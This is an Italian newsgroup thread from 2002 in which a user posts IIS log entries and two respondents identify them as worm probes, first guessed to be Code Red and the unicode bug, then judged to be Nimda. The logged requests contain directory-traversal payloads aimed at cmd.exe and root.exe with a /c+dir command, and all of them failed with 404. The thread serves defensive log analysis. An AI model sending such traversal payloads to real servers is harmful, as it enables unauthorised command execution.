Newsgroup: it.comp.sicurezza.windows
Titolo: Attacco Web Server ?!?!?!!

Ogni giorno mi trovo, nel file di log del webserver questo trace....
Sembrano dei comandi che derivano da un attacco...
Mi pare un pò anomalo... qualcuno sà di cosa si tratta ??
L'indirizzo IP interno l'ho mascherato io... per evitare ulteriori possibili
attacchi....
2002-03-29 17:00:02 194.190.186.228- *************** 80 GET
/scripts/root.exe /c+dir 404 -
2002-03-29 18:32:28 202.99.223.118 - *************** 80 GET
/scripts/root.exe /c+dir 404 -
2002-03-29 18:32:31 202.99.223.118 - *************** 80 GET /MSADC/root.exe
/c+dir 404 -
2002-03-29 18:32:34 202.99.223.118 - *************** 80 GET
/c/winnt/system32/cmd.exe /c+dir 404 -
2002-03-29 18:32:37 202.99.223.118 - *************** 80 GET
/d/winnt/system32/cmd.exe /c+dir 404 -
2002-03-29 18:32:40 202.99.223.118 - *************** 80 GET
/scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
2002-03-29 18:32:42 202.99.223.118 - *************** 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 -
2002-03-29 18:32:45 202.99.223.118 - *************** 80 GET
/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 -
2002-03-29 18:32:49 202.99.223.118 - *************** 80 GET
/msadc/..%5c../..%5c../..%5c/..Á ../..Á ../..Á ../winnt/system32/cmd.exe
/c+dir 404 -
2002-03-29 18:32:54 202.99.223.118 - *************** 80 GET
/scripts/..Á ../winnt/system32/cmd.exe /c+dir 404 -
2002-03-29 18:32:57 202.99.223.118 - *************** 80 GET
/scripts/winnt/system32/cmd.exe /c+dir 404 -
2002-03-29 18:33:00 202.99.223.118 - *************** 80 GET
/winnt/system32/cmd.exe /c+dir 404 -
2002-03-29 18:33:03 202.99.223.118 - *************** 80 GET
/winnt/system32/cmd.exe /c+dir 404 -
2002-03-29 18:33:06 202.99.223.118 - *************** 80 GET
/scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
2002-03-29 18:33:09 202.99.223.118 - *************** 80 GET
/scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
2002-03-29 18:33:12 202.99.223.118 - *************** 80 GET
/scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
2002-03-29 18:33:15 202.99.223.118 - *************** 80 GET
/scripts/..%2f../winnt/system32/cmd.exe /c+dir 404 -


 Si sono due tipi di attacchi...uno è relativo al Red Code, l'altro al bug
dell'unicode
il primo consiste in una sort di "worm" che si propaga per i server copiando
in opportune cartelle, il cmd.exe ke può essere paragonato al 
command.com
ovvero l'interprete dei comandi...mettendolo in una cartella accessibile dal
browser, se viene eseguito è possibile " navigare" all'interno dell'hdd del
server come se si stesse sul proprio
infatti hai visto in alcune righe  ....cmd.exe?/c+dir+c:\
l'altro bug dell'unicode consiste nell'inviare delle stringhe al web server
che lui interpreta come dei cd\ o cd.. , in questo stesso modo si raggiunge
il cmd.exe e si effettua la stessa operazione sopra...
ma come ho potuto vedere dai log, l'azione è andata a cattivo successo...in
quanto ho visto un 404...o sbaglio??? Questo bug riguarda i webseerver IIs
4.0 e anke 5.0...ma penso che il tuo sia apache  e quindi non dovresti aver
problemi, confermi??
^_][ice][man][_^

 dell'unicode
Il worm _code red_ lascia una traccia molto evidente dovuta alla lunga
stringa di pad che qui non si vede neanche in lontananza. Come si vede
proprio nelle righe non si copia niente da nessuna parte e nel caso in
cui anche fosse, il file cmd.exe non deve essere messo in una cartella
che sia accessibile al browser bensi' in una in cui IIS abbia permessi
di esecuzione perche', per l'esistenza stessa del bug, il browser puo'
gia' accedere a tutto il dsco visibile dall'utente con i cui privilegi
viene eseguito IIS (SYSTEM).
Chiariti questi pochi punti essenziali, quello rappresentato nei log e'
un attacco di nimda o di qualcosa che vuole farsi scambiare per nimda.
Fabio